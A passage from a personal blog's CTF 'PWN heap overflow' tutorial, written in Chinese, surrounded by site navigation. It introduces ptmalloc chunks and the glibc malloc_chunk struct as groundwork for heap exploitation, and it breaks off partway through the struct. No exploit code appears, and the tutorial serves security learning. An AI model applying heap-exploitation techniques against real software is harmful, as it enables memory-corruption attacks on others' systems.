dnrops.gitlink.net/posts/ctf/pwn_heap_overflow.html

1466 lines
103 KiB
HTML
Raw Permalink Blame History

This file contains ambiguous Unicode characters

This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.

<!DOCTYPE HTML>
<html lang="en" class="coal" dir="ltr">
<head>
<!-- Book generated using mdBook -->
<meta charset="UTF-8">
<title>PWN heap overflow - Andrew&#x27;s Blog</title>
<!-- Custom HTML head -->
<meta name="description" content="Andrew Ryan&#x27;s Blog">
<meta name="viewport" content="width=device-width, initial-scale=1">
<meta name="theme-color" content="#ffffff">
<link rel="icon" href="../../favicon.svg">
<link rel="shortcut icon" href="../../favicon.png">
<link rel="stylesheet" href="../../css/variables.css">
<link rel="stylesheet" href="../../css/general.css">
<link rel="stylesheet" href="../../css/chrome.css">
<!-- Fonts -->
<link rel="stylesheet" href="../../FontAwesome/css/font-awesome.css">
<link rel="stylesheet" href="../../fonts/fonts.css">
<!-- Highlight.js Stylesheets -->
<link rel="stylesheet" href="../../highlight.css">
<link rel="stylesheet" href="../../tomorrow-night.css">
<link rel="stylesheet" href="../../ayu-highlight.css">
<!-- Custom theme stylesheets -->
<link rel="stylesheet" href="../../src/style/custom.css">
<!-- MathJax -->
<script async src="https://cdnjs.cloudflare.com/ajax/libs/mathjax/2.7.1/MathJax.js?config=TeX-AMS-MML_HTMLorMML"></script>
</head>
<body class="sidebar-visible no-js">
<div id="body-container">
<!-- Provide site root to javascript -->
<script>
var path_to_root = "../../";
var default_theme = window.matchMedia("(prefers-color-scheme: dark)").matches ? "coal" : "coal";
</script>
<!-- Work around some values being stored in localStorage wrapped in quotes -->
<script>
try {
var theme = localStorage.getItem('mdbook-theme');
var sidebar = localStorage.getItem('mdbook-sidebar');
if (theme.startsWith('"') && theme.endsWith('"')) {
localStorage.setItem('mdbook-theme', theme.slice(1, theme.length - 1));
}
if (sidebar.startsWith('"') && sidebar.endsWith('"')) {
localStorage.setItem('mdbook-sidebar', sidebar.slice(1, sidebar.length - 1));
}
} catch (e) { }
</script>
<!-- Set the theme before any content is loaded, prevents flash -->
<script>
var theme;
try { theme = localStorage.getItem('mdbook-theme'); } catch(e) { }
if (theme === null || theme === undefined) { theme = default_theme; }
var html = document.querySelector('html');
html.classList.remove('coal')
html.classList.add(theme);
var body = document.querySelector('body');
body.classList.remove('no-js')
body.classList.add('js');
</script>
<input type="checkbox" id="sidebar-toggle-anchor" class="hidden">
<!-- Hide / unhide sidebar before it is displayed -->
<script>
var body = document.querySelector('body');
var sidebar = null;
var sidebar_toggle = document.getElementById("sidebar-toggle-anchor");
if (document.body.clientWidth >= 1080) {
try { sidebar = localStorage.getItem('mdbook-sidebar'); } catch(e) { }
sidebar = sidebar || 'visible';
} else {
sidebar = 'hidden';
}
sidebar_toggle.checked = sidebar === 'visible';
body.classList.remove('sidebar-visible');
body.classList.add("sidebar-" + sidebar);
</script>
<nav id="sidebar" class="sidebar" aria-label="Table of contents">
<div class="sidebar-scrollbox">
<ol class="chapter"><li class="chapter-item affix "><a href="../../index.html">Andrew's Blog</a></li><li class="chapter-item "><a href="../../posts/linux/linux.html"><strong aria-hidden="true">1.</strong> linux</a><a class="toggle"><div></div></a></li><li><ol class="section"><li class="chapter-item "><a href="../../posts/linux/install_linux.html"><strong aria-hidden="true">1.1.</strong> install linux</a></li><li class="chapter-item "><a href="../../posts/linux/bash_profile.html"><strong aria-hidden="true">1.2.</strong> bash profile</a></li><li class="chapter-item "><a href="../../posts/linux/command_list.html"><strong aria-hidden="true">1.3.</strong> command list</a></li><li class="chapter-item "><a href="../../posts/linux/git_guide.html"><strong aria-hidden="true">1.4.</strong> git guide</a></li><li class="chapter-item "><a href="../../posts/linux/tar.html"><strong aria-hidden="true">1.5.</strong> tar</a></li><li class="chapter-item "><a href="../../posts/linux/run_x86_elf_in_x64_setup.html"><strong aria-hidden="true">1.6.</strong> run x86 elf in x64 setup</a></li></ol></li><li class="chapter-item "><a href="../../posts/mac/mac.html"><strong aria-hidden="true">2.</strong> mac</a><a class="toggle"><div></div></a></li><li><ol class="section"><li class="chapter-item "><a href="../../posts/mac/macos_profiles.html"><strong aria-hidden="true">2.1.</strong> macos profiles</a></li></ol></li><li class="chapter-item "><a href="../../posts/swift/swift.html"><strong aria-hidden="true">3.</strong> swift</a><a class="toggle"><div></div></a></li><li><ol class="section"><li class="chapter-item "><a href="../../posts/swift/learn_swift.html"><strong aria-hidden="true">3.1.</strong> learn swift basics</a></li><li class="chapter-item "><a href="../../posts/swift/swift_extensions.html"><strong aria-hidden="true">3.2.</strong> Swift extensions</a></li><li class="chapter-item "><a href="../../posts/swift/swiftui_extension.html"><strong aria-hidden="true">3.3.</strong> SwiftUI extensions</a></li><li class="chapter-item "><a href="../../posts/swift/install_swift.html"><strong aria-hidden="true">3.4.</strong> install swift</a></li><li class="chapter-item "><a href="../../posts/swift/task_planner.html"><strong aria-hidden="true">3.5.</strong> implment task panner app with SwiftUI</a></li><li class="chapter-item "><a href="../../posts/swift/swift_cheat_sheet.html"><strong aria-hidden="true">3.6.</strong> Swift Cheat Sheet</a></li><li class="chapter-item "><a href="../../posts/swift/yinci_url.html"><strong aria-hidden="true">3.7.</strong> Personal privacy protocol</a></li><li class="chapter-item "><a href="../../posts/swift/swift_regular_exressions.html"><strong aria-hidden="true">3.8.</strong> Swift regular exressions</a></li><li class="chapter-item "><a href="../../posts/ios/how_to_create_beautiful_ios_charts_in_swift.html"><strong aria-hidden="true">3.9.</strong> How to Create Beautiful iOS Charts in鑱絊wift</a></li><li class="chapter-item "><a href="../../posts/swift/swiftui_source_code.html"><strong aria-hidden="true">3.10.</strong> SwiftUI source code</a></li><li class="chapter-item "><a href="../../posts/swift/use_swift_fetch_iciba_api.html"><strong aria-hidden="true">3.11.</strong> use swift fetch iciba API</a></li></ol></li><li class="chapter-item "><a href="../../posts/ios/ios.html"><strong aria-hidden="true">4.</strong> ios</a><a class="toggle"><div></div></a></li><li><ol class="section"><li class="chapter-item "><a href="../../posts/ios/cocaposd_setup_and_install_for_ios_project.html"><strong aria-hidden="true">4.1.</strong> cocaposd setup and install for ios project</a></li><li class="chapter-item "><a href="../../posts/ios/swiftui_show_gif_image.html"><strong aria-hidden="true">4.2.</strong> SwiftUI show gif image</a></li><li class="chapter-item "><a href="../../posts/ios/implement_task_planner_app.html"><strong aria-hidden="true">4.3.</strong> implement Task planner App</a></li></ol></li><li class="chapter-item "><a href="../../posts/objective_c/objective_c.html"><strong aria-hidden="true">5.</strong> objective_c</a><a class="toggle"><div></div></a></li><li><ol class="section"><li class="chapter-item "><a href="../../posts/objective_c/objective_c_cheat_sheet.html"><strong aria-hidden="true">5.1.</strong> Objective-C Cheat Sheet</a></li><li class="chapter-item "><a href="../../posts/objective_c/objective_c_for_absolute_beginners_read_note.html"><strong aria-hidden="true">5.2.</strong> Objective-C Note</a></li></ol></li><li class="chapter-item "><a href="../../posts/dart/dart.html"><strong aria-hidden="true">6.</strong> dart</a><a class="toggle"><div></div></a></li><li><ol class="section"><li class="chapter-item "><a href="../../posts/dart/flutter.html"><strong aria-hidden="true">6.1.</strong> Flutter Cheat Sheet</a></li><li class="chapter-item "><a href="../../posts/dart/dart_cheat_sheet.html"><strong aria-hidden="true">6.2.</strong> Dart Cheat Sheet</a></li><li class="chapter-item "><a href="../../posts/flutter/flutter_dev_test.html"><strong aria-hidden="true">6.3.</strong> Flutter dev test</a></li></ol></li><li class="chapter-item "><a href="../../posts/rust/rust.html"><strong aria-hidden="true">7.</strong> rust</a><a class="toggle"><div></div></a></li><li><ol class="section"><li class="chapter-item "><a href="../../posts/rust/offline_use_rust.html"><strong aria-hidden="true">7.1.</strong> Offline use rust</a></li><li class="chapter-item "><a href="../../posts/rust/rust_grammer.html"><strong aria-hidden="true">7.2.</strong> rust grammar</a></li><li class="chapter-item "><a href="../../posts/rust/pase_string_and_decimal_conversion.html"><strong aria-hidden="true">7.3.</strong> pase string and decimal conversion</a></li><li class="chapter-item "><a href="../../posts/rust/parse_types.html"><strong aria-hidden="true">7.4.</strong> rust types</a></li><li class="chapter-item "><a href="../../posts/rust/rust_life_cycle.html"><strong aria-hidden="true">7.5.</strong> Rust life cycle</a></li><li class="chapter-item "><a href="../../posts/rust/rust_generic.html"><strong aria-hidden="true">7.6.</strong> rust generics</a></li><li class="chapter-item "><a href="../../posts/rust/rust_implment_matrix.html"><strong aria-hidden="true">7.7.</strong> Rust implement matrix</a></li><li class="chapter-item "><a href="../../posts/rust/rust_sort.html"><strong aria-hidden="true">7.8.</strong> Rust implement sort algorithms</a></li><li class="chapter-item "><a href="../../posts/rust/implement_aes_encryption.html"><strong aria-hidden="true">7.9.</strong> Rust implement AEC encryption and decryption</a></li><li class="chapter-item "><a href="../../posts/rust/implement_trie_data_structure.html"><strong aria-hidden="true">7.10.</strong> implement trie data structure</a></li><li class="chapter-item "><a href="../../posts/rust/rust_implement_tree.html"><strong aria-hidden="true">7.11.</strong> implement tree data_structure</a></li><li class="chapter-item "><a href="../../posts/rust/list_dir.html"><strong aria-hidden="true">7.12.</strong> list dir</a></li><li class="chapter-item "><a href="../../posts/rust/fast_way_to_implment_object_trait.html"><strong aria-hidden="true">7.13.</strong> fast way to implment object trait</a></li><li class="chapter-item "><a href="../../posts/rust/compress_rust_binary_size.html"><strong aria-hidden="true">7.14.</strong> compress rust binary size</a></li><li class="chapter-item "><a href="../../posts/rust/implment_file_upload_backend.html"><strong aria-hidden="true">7.15.</strong> impliment file upload</a></li><li class="chapter-item "><a href="../../posts/rust/this_is_add_post_cli_implementation_in_rust.html"><strong aria-hidden="true">7.16.</strong> this is add_post cli implementation in rust</a></li><li class="chapter-item "><a href="../../posts/rust/use_rust_implment_a_copyclipbord_cli.html"><strong aria-hidden="true">7.17.</strong> Use rust implment a copyclipbord CLI</a></li><li class="chapter-item "><a href="../../posts/rust/sqlite_database_add_delete_update_show_in_rust.html"><strong aria-hidden="true">7.18.</strong> sqlite database add delete update show in rust</a></li><li class="chapter-item "><a href="../../posts/rust/implementing_tokio_joinhandle_for_wasm.html"><strong aria-hidden="true">7.19.</strong> Implementing tokio JoinHandle for wasm</a></li><li class="chapter-item "><a href="../../posts/rust/rust_implement_a_crate_for_encode_and_decode_brainfuck_and_ook.html"><strong aria-hidden="true">7.20.</strong> rust implement a crate for encode and decode brainfuck and ook</a></li><li class="chapter-item "><a href="../../posts/rust/slint_builtin_elements.html"><strong aria-hidden="true">7.21.</strong> Slint Builtin Elements</a></li><li class="chapter-item "><a href="../../posts/rust/corporate_network_install_rust_on_windows.html"><strong aria-hidden="true">7.22.</strong> Corporate network install Rust on windows</a></li><li class="chapter-item "><a href="../../posts/rust/rust_binary_file_how_to_judge_static_link_or_dynamic_link_in_macos.html"><strong aria-hidden="true">7.23.</strong> rust binary file how to judge static link or dynamic link in Macos</a></li><li class="chapter-item "><a href="../../posts/rust/rust_binary_include_dir_and_get_contents.html"><strong aria-hidden="true">7.24.</strong> rust binary include dir and get contents</a></li><li class="chapter-item "><a href="../../posts/rust/rust_logger_non-block.html"><strong aria-hidden="true">7.25.</strong> rust logger non-block</a></li><li class="chapter-item "><a href="../../posts/rust/rust_connect_sql_server_database.html"><strong aria-hidden="true">7.26.</strong> rust connect sql server database</a></li><li class="chapter-item "><a href="../../posts/rust/rust_websocket_implment.html"><strong aria-hidden="true">7.27.</strong> rust websocket implment</a></li></ol></li><li class="chapter-item "><a href="../../posts/java/java.html"><strong aria-hidden="true">8.</strong> java</a><a class="toggle"><div></div></a></li><li><ol class="section"><li class="chapter-item "><a href="../../posts/java/java_grammar.html"><strong aria-hidden="true">8.1.</strong> java grammar and codewar</a></li><li class="chapter-item "><a href="../../posts/java/run_jar.html"><strong aria-hidden="true">8.2.</strong> java run .jar</a></li><li class="chapter-item "><a href="../../posts/java/java_pomxml_add_defaultgoal_to_build.html"><strong aria-hidden="true">8.3.</strong> Java pomxml add defaultGoal to build</a></li><li class="chapter-item "><a href="../../posts/java/java_set_mvn_mirror.html"><strong aria-hidden="true">8.4.</strong> Java set mvn mirror</a></li></ol></li><li class="chapter-item "><a href="../../posts/python/python.html"><strong aria-hidden="true">9.</strong> python</a><a class="toggle"><div></div></a></li><li><ol class="section"><li class="chapter-item "><a href="../../posts/python/convert_pesn.html"><strong aria-hidden="true">9.1.</strong> convert pesn</a></li><li class="chapter-item "><a href="../../posts/python/find_remove_dir.html"><strong aria-hidden="true">9.2.</strong> find and remove dir</a></li><li class="chapter-item "><a href="../../posts/python/timing_message.html"><strong aria-hidden="true">9.3.</strong> wechat send message</a></li><li class="chapter-item "><a href="../../posts/python/use_python_openpyxl_package_read_and_edit_excel_files.html"><strong aria-hidden="true">9.4.</strong> Use python openpyxl package read and edit excel files</a></li></ol></li><li class="chapter-item "><a href="../../posts/go/go.html"><strong aria-hidden="true">10.</strong> go</a></li><li class="chapter-item "><a href="../../posts/js/js.html"><strong aria-hidden="true">11.</strong> js</a><a class="toggle"><div></div></a></li><li><ol class="section"><li class="chapter-item "><a href="../../posts/js/js_tutorial.html"><strong aria-hidden="true">11.1.</strong> js tutorial</a></li><li class="chapter-item "><a href="../../posts/js/js_tutorial_map.html"><strong aria-hidden="true">11.2.</strong> ja map</a></li><li class="chapter-item "><a href="../../posts/js/js_tutorial_math.html"><strong aria-hidden="true">11.3.</strong> js math</a></li><li class="chapter-item "><a href="../../posts/js/js_tutorial_object.html"><strong aria-hidden="true">11.4.</strong> js object</a></li><li class="chapter-item "><a href="../../posts/js/js_tutorial_set.html"><strong aria-hidden="true">11.5.</strong> js set</a></li><li class="chapter-item "><a href="../../posts/js/single_thread_and_asynchronous.html"><strong aria-hidden="true">11.6.</strong> single thread and asynchronous</a></li><li class="chapter-item "><a href="../../posts/js/this.html"><strong aria-hidden="true">11.7.</strong> js this</a></li><li class="chapter-item "><a href="../../posts/js/js_implment_aes.html"><strong aria-hidden="true">11.8.</strong> js implment aes</a></li><li class="chapter-item "><a href="../../posts/js/getting_started_with_ajax.html"><strong aria-hidden="true">11.9.</strong> getting started with ajax</a></li><li class="chapter-item "><a href="../../posts/js/BinarySearchTree.html"><strong aria-hidden="true">11.10.</strong> binary search tree</a></li><li class="chapter-item "><a href="../../posts/js/goole_zx.html"><strong aria-hidden="true">11.11.</strong> goole zx</a></li><li class="chapter-item "><a href="../../posts/js/es6.html"><strong aria-hidden="true">11.12.</strong> es6</a></li></ol></li><li class="chapter-item "><a href="../../posts/ruby/ruby.html"><strong aria-hidden="true">12.</strong> ruby</a><a class="toggle"><div></div></a></li><li><ol class="section"><li class="chapter-item "><a href="../../posts/ruby/rails_setup_env.html"><strong aria-hidden="true">12.1.</strong> ruby on rails setup environment</a></li><li class="chapter-item "><a href="../../posts/ruby/learn_ruby.html"><strong aria-hidden="true">12.2.</strong> learn ruby</a></li><li class="chapter-item "><a href="../../posts/ruby/ruby_note.html"><strong aria-hidden="true">12.3.</strong> Ruby Note</a></li><li class="chapter-item "><a href="../../posts/ruby/setup_ruby_for_ctf.html"><strong aria-hidden="true">12.4.</strong> Setup ruby for CTF</a></li></ol></li><li class="chapter-item "><a href="../../posts/react/react.html"><strong aria-hidden="true">13.</strong> react</a><a class="toggle"><div></div></a></li><li><ol class="section"><li class="chapter-item "><a href="../../posts/react/react_life_cycle.html"><strong aria-hidden="true">13.1.</strong> react life cycle</a></li><li class="chapter-item "><a href="../../posts/react/react_router.html"><strong aria-hidden="true">13.2.</strong> react router</a></li><li class="chapter-item "><a href="../../posts/react/react_this.html"><strong aria-hidden="true">13.3.</strong> react this</a></li><li class="chapter-item "><a href="../../posts/react/react_interviw.html"><strong aria-hidden="true">13.4.</strong> react interview</a></li><li class="chapter-item "><a href="../../posts/react/important_react_interview.html"><strong aria-hidden="true">13.5.</strong> important react interview</a></li><li class="chapter-item "><a href="../../posts/react/react_quick_reference.html"><strong aria-hidden="true">13.6.</strong> react quick reference</a></li><li class="chapter-item "><a href="../../posts/react/redux_quick_reference.html"><strong aria-hidden="true">13.7.</strong> redux quick reference</a></li></ol></li><li class="chapter-item "><a href="../../posts/vue/vue.html"><strong aria-hidden="true">14.</strong> vue</a><a class="toggle"><div></div></a></li><li><ol class="section"><li class="chapter-item "><a href="../../posts/vue/vue_ajax.html"><strong aria-hidden="true">14.1.</strong> vue ajax</a></li></ol></li><li class="chapter-item "><a href="../../posts/angular/angular.html"><strong aria-hidden="true">15.</strong> angular</a><a class="toggle"><div></div></a></li><li><ol class="section"><li class="chapter-item "><a href="../../posts/angular/controller_communication.html"><strong aria-hidden="true">15.1.</strong> controller communication</a></li><li class="chapter-item "><a href="../../posts/angular/creating_custom_directives.html"><strong aria-hidden="true">15.2.</strong> creating custom directives</a></li><li class="chapter-item "><a href="../../posts/angular/directive_notes.html"><strong aria-hidden="true">15.3.</strong> directive notes</a></li><li class="chapter-item "><a href="../../posts/angular/directive_communication.html"><strong aria-hidden="true">15.4.</strong> directive communication</a></li><li class="chapter-item "><a href="../../posts/angular/post_params.html"><strong aria-hidden="true">15.5.</strong> post params</a></li><li class="chapter-item "><a href="../../posts/angular/read_json_angular.html"><strong aria-hidden="true">15.6.</strong> read json angular</a></li><li class="chapter-item "><a href="../../posts/angular/same_route_reload.html"><strong aria-hidden="true">15.7.</strong> same route reload</a></li></ol></li><li class="chapter-item "><a href="../../posts/css/css.html"><strong aria-hidden="true">16.</strong> css</a><a class="toggle"><div></div></a></li><li><ol class="section"><li class="chapter-item "><a href="../../posts/css/use_css_media.html"><strong aria-hidden="true">16.1.</strong> use css media</a></li></ol></li><li class="chapter-item "><a href="../../posts/php/php.html"><strong aria-hidden="true">17.</strong> php</a><a class="toggle"><div></div></a></li><li><ol class="section"><li class="chapter-item "><a href="../../posts/php/for_php_string_implment_some_extemtion_functions.html"><strong aria-hidden="true">17.1.</strong> for php string implment some extemtion functions</a></li><li class="chapter-item "><a href="../../posts/php/php_cheatsheet.html"><strong aria-hidden="true">17.2.</strong> PHP cheatsheet</a></li></ol></li><li class="chapter-item "><a href="../../posts/leetcode/leetcode.html"><strong aria-hidden="true">18.</strong> leetcode</a><a class="toggle"><div></div></a></li><li><ol class="section"><li class="chapter-item "><a href="../../posts/leetcode/rust_leetcode.html"><strong aria-hidden="true">18.1.</strong> rust leetcode</a></li><li class="chapter-item "><a href="../../posts/leetcode/rust_codewar.html"><strong aria-hidden="true">18.2.</strong> rust codewar</a></li><li class="chapter-item "><a href="../../posts/leetcode/swift_codewar.html"><strong aria-hidden="true">18.3.</strong> swift codewar</a></li><li class="chapter-item "><a href="../../posts/leetcode/js_leetcode.html"><strong aria-hidden="true">18.4.</strong> js leetcode</a></li><li class="chapter-item "><a href="../../posts/leetcode/java_leetcode.html"><strong aria-hidden="true">18.5.</strong> java leetcode</a></li><li class="chapter-item "><a href="../../posts/leetcode/rust_huawei.html"><strong aria-hidden="true">18.6.</strong> huawei test</a></li><li class="chapter-item "><a href="../../posts/leetcode/rust_utils.html"><strong aria-hidden="true">18.7.</strong> rust common functions</a></li><li class="chapter-item "><a href="../../posts/leetcode/olympiad_training.html"><strong aria-hidden="true">18.8.</strong> Computer olympiad training</a></li></ol></li><li class="chapter-item expanded "><a href="../../posts/ctf/CTF.html"><strong aria-hidden="true">19.</strong> ctf</a><a class="toggle"><div></div></a></li><li><ol class="section"><li class="chapter-item "><a href="../../posts/ctf/CTF_Note.html"><strong aria-hidden="true">19.1.</strong> CTF Note</a></li><li class="chapter-item "><a href="../../posts/ctf/0.1_Web.html"><strong aria-hidden="true">19.2.</strong> Web</a></li><li class="chapter-item "><a href="../../posts/ctf/4.1_Misc.html"><strong aria-hidden="true">19.3.</strong> Misc</a></li><li class="chapter-item "><a href="../../posts/ctf/3.2_PWN_note.html"><strong aria-hidden="true">19.4.</strong> PWN</a></li><li class="chapter-item "><a href="../../posts/ctf/3.1_Crypto.html"><strong aria-hidden="true">19.5.</strong> Crypto</a></li><li class="chapter-item "><a href="../../posts/ctf/3.4_RSA_note.html"><strong aria-hidden="true">19.6.</strong> Rsa attack</a></li><li class="chapter-item "><a href="../../posts/ctf/3.5_Base64.html"><strong aria-hidden="true">19.7.</strong> Base64</a></li><li class="chapter-item "><a href="../../posts/ctf/0.0_SQL Injection Cheatsheet.html"><strong aria-hidden="true">19.8.</strong> SQL Injection Cheatsheet</a></li><li class="chapter-item "><a href="../../posts/ctf/1.1_SQL_injection.html"><strong aria-hidden="true">19.9.</strong> SQL Injection</a></li><li class="chapter-item "><a href="../../posts/ctf/1.2_SQL_injection_UNION_attacks.html"><strong aria-hidden="true">19.10.</strong> SQL Injection UNION attacks</a></li><li class="chapter-item "><a href="../../posts/ctf/1.3_Blind SQL injection.html"><strong aria-hidden="true">19.11.</strong> Blind SQL Injection</a></li><li class="chapter-item "><a href="../../posts/ctf/1.4_Code Injection.html"><strong aria-hidden="true">19.12.</strong> Code Injection</a></li><li class="chapter-item "><a href="../../posts/ctf/1.5_SSRF.html"><strong aria-hidden="true">19.13.</strong> SSRF</a></li><li class="chapter-item "><a href="../../posts/ctf/1.6_OS command injection.html"><strong aria-hidden="true">19.14.</strong> OS command injection</a></li><li class="chapter-item "><a href="../../posts/ctf/1.7_Local file inclusion.html"><strong aria-hidden="true">19.15.</strong> Local file inclusion</a></li><li class="chapter-item "><a href="../../posts/ctf/1.8_Remote file inclusion.html"><strong aria-hidden="true">19.16.</strong> Remote file inclusion</a></li><li class="chapter-item "><a href="../../posts/ctf/1.9_CSRFm.html"><strong aria-hidden="true">19.17.</strong> CSRF</a></li><li class="chapter-item "><a href="../../posts/ctf/1.10_NoSQL injection.html"><strong aria-hidden="true">19.18.</strong> NoSQL injection</a></li><li class="chapter-item "><a href="../../posts/ctf/1.11_JSON injection.html"><strong aria-hidden="true">19.19.</strong> JSON injection</a></li><li class="chapter-item "><a href="../../posts/ctf/1.12_CTF_Web_SQL_Note.html"><strong aria-hidden="true">19.20.</strong> CTF Web SQL Note</a></li><li class="chapter-item "><a href="../../posts/ctf/2.1_XXE.html"><strong aria-hidden="true">19.21.</strong> XXE</a></li><li class="chapter-item "><a href="../../posts/ctf/2.2_XSS.html"><strong aria-hidden="true">19.22.</strong> XSS</a></li><li class="chapter-item "><a href="../../posts/ctf/2.3_Upload File.html"><strong aria-hidden="true">19.23.</strong> Upload File</a></li><li class="chapter-item "><a href="../../posts/ctf/2.4_serialize_unserialize.html"><strong aria-hidden="true">19.24.</strong> serialize unserialize</a></li><li class="chapter-item "><a href="../../posts/ctf/2.5_Race condition.html"><strong aria-hidden="true">19.25.</strong> Race condition</a></li><li class="chapter-item "><a href="../../posts/ctf/3.2_PWN_note.html"><strong aria-hidden="true">19.26.</strong> PWN_note</a></li><li class="chapter-item "><a href="../../posts/ctf/3.3_pwn HCTF2016 brop.html"><strong aria-hidden="true">19.27.</strong> pwn HCTF2016 brop</a></li><li class="chapter-item "><a href="../../posts/ctf/pwn_patch_defense_skill.html"><strong aria-hidden="true">19.28.</strong> PWN Patch defense skill</a></li><li class="chapter-item "><a href="../../posts/ctf/pwn_stack_overflow.html"><strong aria-hidden="true">19.29.</strong> PWN stack overflow</a></li><li class="chapter-item expanded "><a href="../../posts/ctf/pwn_heap_overflow.html" class="active"><strong aria-hidden="true">19.30.</strong> PWN heap overflow</a></li><li class="chapter-item "><a href="../../posts/ctf/pwn_format_string_vulnerability.html"><strong aria-hidden="true">19.31.</strong> PWN Format String Vulnerability</a></li><li class="chapter-item "><a href="../../posts/ctf/kali_linux_tutorials.html"><strong aria-hidden="true">19.32.</strong> Kali linux tutorials</a></li><li class="chapter-item "><a href="../../posts/ctf/google_dorks_2023_lists.html"><strong aria-hidden="true">19.33.</strong> Google Dorks 2023 Lists</a></li><li class="chapter-item "><a href="../../posts/ctf/dvwa_writeup.html"><strong aria-hidden="true">19.34.</strong> DVWA WriteUp</a></li><li class="chapter-item "><a href="../../posts/ctf/bwapp_writeup.html"><strong aria-hidden="true">19.35.</strong> bWAPP WriteUp</a></li><li class="chapter-item "><a href="../../posts/ctf/sqlilabs_writeup.html"><strong aria-hidden="true">19.36.</strong> sqlilabs WriteUp</a></li><li class="chapter-item "><a href="../../posts/ctf/ctf_train_at_hangzhou.html"><strong aria-hidden="true">19.37.</strong> ctf train at hangzhou</a></li><li class="chapter-item "><a href="../../posts/ctf/ctf_common_mindmap_list.html"><strong aria-hidden="true">19.38.</strong> ctf common mindmap list</a></li><li class="chapter-item "><a href="../../posts/ctf/error_based_sql_injection.html"><strong aria-hidden="true">19.39.</strong> Error Based SQL Injection</a></li><li class="chapter-item "><a href="../../posts/ctf/urlfinder_tutorial.html"><strong aria-hidden="true">19.40.</strong> URLFinder Tutorial</a></li><li class="chapter-item "><a href="../../posts/ctf/observer_ward_tutorial.html"><strong aria-hidden="true">19.41.</strong> observer_ward Tutorial</a></li><li class="chapter-item "><a href="../../posts/ctf/mysql_udf_.html"><strong aria-hidden="true">19.42.</strong> MySQL UDF 提权</a></li><li class="chapter-item "><a href="../../posts/ctf/nuclei__tutorial.html"><strong aria-hidden="true">19.43.</strong> Nuclei Tutorial</a></li><li class="chapter-item "><a href="../../posts/ctf/2024_ctf_solution_thinking.html"><strong aria-hidden="true">19.44.</strong> 2024 ctf solution thinking</a></li><li class="chapter-item "><a href="../../posts/ctf/man_che_si_te_bian_ma.html"><strong aria-hidden="true">19.45.</strong> 曼彻斯特编码</a></li></ol></li></ol>
</div>
<div id="sidebar-resize-handle" class="sidebar-resize-handle">
<div class="sidebar-resize-indicator"></div>
</div>
</nav>
<!-- Track and set sidebar scroll position -->
<script>
var sidebarScrollbox = document.querySelector('#sidebar .sidebar-scrollbox');
sidebarScrollbox.addEventListener('click', function(e) {
if (e.target.tagName === 'A') {
sessionStorage.setItem('sidebar-scroll', sidebarScrollbox.scrollTop);
}
}, { passive: true });
var sidebarScrollTop = sessionStorage.getItem('sidebar-scroll');
sessionStorage.removeItem('sidebar-scroll');
if (sidebarScrollTop) {
// preserve sidebar scroll position when navigating via links within sidebar
sidebarScrollbox.scrollTop = sidebarScrollTop;
} else {
// scroll sidebar to current active section when navigating via "next/previous chapter" buttons
var activeSection = document.querySelector('#sidebar .active');
if (activeSection) {
activeSection.scrollIntoView({ block: 'center' });
}
}
</script>
<div id="page-wrapper" class="page-wrapper">
<div class="page">
<div id="menu-bar-hover-placeholder"></div>
<div id="menu-bar" class="menu-bar sticky">
<div class="left-buttons">
<label id="sidebar-toggle" class="icon-button" for="sidebar-toggle-anchor" title="Toggle Table of Contents" aria-label="Toggle Table of Contents" aria-controls="sidebar">
<i class="fa fa-bars"></i>
</label>
<button id="theme-toggle" class="icon-button" type="button" title="Change theme" aria-label="Change theme" aria-haspopup="true" aria-expanded="false" aria-controls="theme-list">
<i class="fa fa-paint-brush"></i>
</button>
<ul id="theme-list" class="theme-popup" aria-label="Themes" role="menu">
<li role="none"><button role="menuitem" class="theme" id="light">Light</button></li>
<li role="none"><button role="menuitem" class="theme" id="rust">Rust</button></li>
<li role="none"><button role="menuitem" class="theme" id="coal">Coal</button></li>
<li role="none"><button role="menuitem" class="theme" id="navy">Navy</button></li>
<li role="none"><button role="menuitem" class="theme" id="ayu">Ayu</button></li>
</ul>
<button id="search-toggle" class="icon-button" type="button" title="Search. (Shortkey: s)" aria-label="Toggle Searchbar" aria-expanded="false" aria-keyshortcuts="S" aria-controls="searchbar">
<i class="fa fa-search"></i>
</button>
</div>
<h1 class="menu-title">Andrew&#x27;s Blog</h1>
<div class="right-buttons">
<a href="https://gitlink.org.cn/dnrops/dnrops.gitlink.net.git" title="Git repository" aria-label="Git repository">
<i id="git-repository-button" class="fa fa-github"></i>
</a>
</div>
</div>
<div id="search-wrapper" class="hidden">
<form id="searchbar-outer" class="searchbar-outer">
<input type="search" id="searchbar" name="searchbar" placeholder="Search this book ..." aria-controls="searchresults-outer" aria-describedby="searchresults-header">
</form>
<div id="searchresults-outer" class="searchresults-outer hidden">
<div id="searchresults-header" class="searchresults-header"></div>
<ul id="searchresults">
</ul>
</div>
</div>
<!-- Apply ARIA attributes after the sidebar and the sidebar toggle button are added to the DOM -->
<script>
document.getElementById('sidebar-toggle').setAttribute('aria-expanded', sidebar === 'visible');
document.getElementById('sidebar').setAttribute('aria-hidden', sidebar !== 'visible');
Array.from(document.querySelectorAll('#sidebar a')).forEach(function(link) {
link.setAttribute('tabIndex', sidebar === 'visible' ? 0 : -1);
});
</script>
<div id="content" class="content">
<main>
<h1 id="pwn-heap-overflow"><a class="header" href="#pwn-heap-overflow">PWN heap overflow</a></h1>
<h1 id="堆结构"><a class="header" href="#堆结构">堆结构</a></h1>
<p>这里首先介绍堆中比较细节的结构,<strong>堆的漏洞利用与这些结构密切相关</strong></p>
<h2 id="chunk"><a class="header" href="#chunk">chunk</a></h2>
<p>a = malloc(0x10);
char a[100];
在程序的执行过程中,我们称由 malloc 申请的内存为 chunk 。这块内存在 ptmalloc 内部用 malloc_chunk 结构体来表示。当程序申请的 chunk 被 free 后,会被加入到相应的空闲管理列表中。
<strong>无论一个 chunk 的大小如何,处于分配状态还是释放状态,它们都使用一个统一的结构</strong>。虽然它们使用了同一个数据结构,但是根据是否被释放,它们的表现形式会有所不同。
<strong>malloc_chunk</strong> 的结构如下</p>
<pre><code class="language-c">/*
This struct declaration is misleading (but accurate and necessary).
It declares a "view" into memory allowing access to necessary
fields at known offsets from a given base. See explanation below.
*/
struct malloc_chunk {
INTERNAL_SIZE_T prev_size; /* Size of previous chunk (if free). */
INTERNAL_SIZE_T size; /* Size in bytes, including overhead. */
struct malloc_chunk* fd; /* double links -- used only if free. */
struct malloc_chunk* bk;
/* Only used for large blocks: pointer to next larger size. */
struct malloc_chunk* fd_nextsize; /* double links -- used only if free. */
